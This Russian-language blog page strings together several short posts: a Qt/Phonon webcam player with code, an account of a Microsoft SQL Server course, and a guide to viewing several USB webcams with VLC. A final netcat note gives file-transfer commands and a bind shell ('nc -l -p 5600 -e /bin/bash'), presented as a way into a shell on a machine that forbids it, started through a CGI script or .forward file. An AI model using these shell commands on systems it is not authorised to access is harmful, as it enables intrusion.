Делаю самодельный видеоплеер для вебкамеры в QtCreator

Исходные данные

Имеется нетбук c Ubuntu 11.10 и отечественный автомобиль с вебкамерой, прицепленной на заднем стекле. При их скрещивании получается устройство

/dev/video0

Что нам надо

Буду писать програмку, которая будет для меня показывать картинку с вебкамеры. Всякие плееры вроде VLC конечно хорошо, но в своём творении можно и кнопочек полезных добавить, и картинки в интернет пулять, и ещё много чего полезного придумать. Для начала ограничимся минимумом — пусть у нас в окне будет виджет, который будет нам показывать картинку с камеры. Всё остальное можно будет нашлёпать сверху позже. Для всякой мультимедии в Qt используется модуль Phonon, будем использовать его.

Готовимся

Предварительно должен быть установлен QtCreator. Ещё устанавливал следующие пакеты:

$ sudo apt-get install phonon-backend-vlc
 $ sudo apt-get install libphonon-dev

Пока их не поставил — почему-то ничего не хотело работать. Может быть ещё что-то должно быть установлено, но у меня уже было, в коментах спросите если надо.

Поехали

Ну значит создаём проект как обычно. Названия классов не менял, проект обозвал MyCameras. Первым делом открываем MyCameras.pro и правим первую разумную строчку чтоб получилось

QT       += core gui phonon

Теперь берёмся за mainwindow.cpp (привожу сразу весь код, там немного):

#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <Phonon/VideoPlayer>
MainWindow::MainWindow(QWidget *parent) :
 QMainWindow(parent),
 ui(new Ui::MainWindow)
 {
 ui->setupUi(this);
 qApp->setApplicationName("mycameras");
 Phonon::VideoPlayer *player = new Phonon::VideoPlayer(Phonon::VideoCategory, this);
 connect(player, SIGNAL(finished()), player, SLOT(deleteLater()));
 QString url = "v4l2://///dev/video0";
 player->resize(300,200);
 player->move(0,0);
 player->play(Phonon::MediaSource(url));
 }
MainWindow::~MainWindow()
 {
 delete ui;
 }
самодельный видеоплеер для вебкамеры в Qt

самодельный видеоплеер для вебкамеры в Qt

Вот такой player у нас получился:

Вот как-то так. Это то, что у меня заработало, пока свою программу минимум выполнил.

Что дальше

Собираюсь развивать тему дальше. Во-первых, одна камера хорошо, а много — лучше. Хочу сделать интерфейс для показа видео сразу с нескольких камер, чтоб между ними было удобно переключаться в условиях управления автомобилем. Во-вторых, хочу настроить сохранение фото и видео. Ну и на последок пусть всё сохраняется в интернет. Посмотрим, на что терпения хватит. Если вдруг кому тоже такую чудо-программу надо — пишите, организуемся, мне одному лениво делать.

Как проходят занятия на курсах Microsoft

Расскажу, как примерно проходило обучение по MS SQL Server в Екатеринбурге. Пост для тех, кто на курсах микрософта ни разу в жизни не был и не представляет, что это такое. Технических вопросов раскрывать не буду, только организационная информация.

Расписание занятий

Обучение проходило 5 дней. Занятия начинались в 9-30 (по факту начинали минут на 10-20 позже, жадли, пока все соберутся). С 13 до 14 часов бесплатный обед типа бизнес-ланча: салатик, суп, гарнир с мясом и чай. Заканчивалась учёба около 17-00 плюс минус пол часа. У меня все 5 дней выпали на рабочие, однако занятия могут выпасть и на выходные дни. В течение дня предусмотрены кофе-брейки: чай, кофе, печеньки.

Учебный материал

Занимались на компьютерах учебного центра. На каждом компьютере через Hyper-V были предварительно подготовлены 3 виртуальные машины: один контроллер домена и две для выполнения наших лабораторных работ. Нам всем раздали по толстой книжке на АНГЛИЙСКОМ языке и почему-то без диска (который должен быть). Тренер конечно лекции читает на русском, но лабораторные без понимания английского выполнить нереально. Курс был разбит на 20 разделов, соответственно каждый день планировалось изучать по 4 раздела. Сперва тренер читает лекцию, по ходу дружно обсуждаем материал, задаём вопросы. Когда вопросы кончаются — тренер предлагает по книжке выполнить лабораторную работу, о содержимом которой может сам не до конца догадываться. Во время лаборатонной можно тупо делать всё по книжке, можно пытаться попробовать свои варианты развития событий, можно задавать вопросы, можно ВООБЩЕ НИЧЕГО НЕ ДЕЛАТЬ! Результаты выполнения лабораторных проверять никто не будет, студенты работают сами на себя.

Первый день

Группа у нас набралась целых 3 человека. Познакомились с тренером и с представителями учебного центра, послушали вводный инструктаж, порешали вопросы с договорами и командировочными документами. Затем приступили к изучению материала.

Со второго по четвёртый день

Изучали материал в обычном режиме.

День пятый — последний

Заканчивали изучение оставшихся тем. По ходу дня заполнили две анкеты, на сколько баллов мы оцениваем преподавателя, учебный центр и материал курса микрософта. На последок расписались в том, что занятия мы исправно посещали и что обеды исправно кушали. Затем получили сертификаты (типа справки о том, что курс мы успешно прослушали). После этого одни разошлись по домам, другие остались задавать вопросы, ответы на которые за всё обучение так и не получили. Тренер старался отвечал.

Выводы

Чтобы успешно освоить программу курса, надо на уровне чтения владеть английским. На втором месте — общее понимание темы, которую собрался изучать. Далеко не все курсы для чайников. Ну и лучше сразу представлять, какие из тем придётся потом применять на практике, чтоб получить максимум ответов на свои вопросы.

В тему:

90 Days to MCSA

Подготовка к экзаменам microsoft

Сдал 70-410 Installing and Configuring Windows Server 2012

Как смотреть видео с нескольких вебкамер в Ubuntu Linux

Кратко о том, зачем всё это мне понадобилось. Увидел в магазине дешевые вебкамеры по 99р. и решил развешать по своей машине (парковаться удобнее и т.п.) Типа камеры подключаются через удлинители в usb-хаб, дальше в ноутбук, ну и там будем смотреть себе под задний бампер и ещё куда-нибудь.

Будем использовать проигрыватель VLC. sudo apt-get install vlc наверно все умеют делать. Предварительно его надо настроить на работу в многооконном режиме: инструменты — настройки — интерфейс — снять галочку «разрешить только одну копию». Там же можно включить «минимальный режим (без панелей)» — так будет удобнее на видео смотреть.

Подключаем к ноутбуку, или что у нас там, все наши камеры и узнаём их имена командой

$ ls /dev | grep video
video0
video1

Открываются камеры так:

vlc v4l2:///dev/video0
vlc v4l2:///dev/video1

короче те устройства, которые нашли выше. Вот примерно так всё работает. Надо будет ещё скрипт написать, который будет сам по списку видеокамер пробегаться и vlc запускать.

Практические примеры использования утилиты netcat.

Статья «Netcat and Reverse Telnet» иллюстрирует как с помощью утилиты netcat (nc) осуществить создание простейшего туннеля, например, для организации работы в shell, на машине явно не допускающей такое действие.

Простейший echo-туннель:
  Серверный процесс: nc -l -p 5600
  Клиент: nc 10.0.1.1 5600

netcat для пересылки файла:
 Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back
 Клиент: nc -v -w 2 10.0.1.1 5600 < filename

Работа в shell через туннель
  Сервер: nc -l -p 5600 -e /bin/bash
  Клиент: nc 10.0.1.1. 5600
Серверный код можно запустить, например, через cgi-скрипт или .forward файл.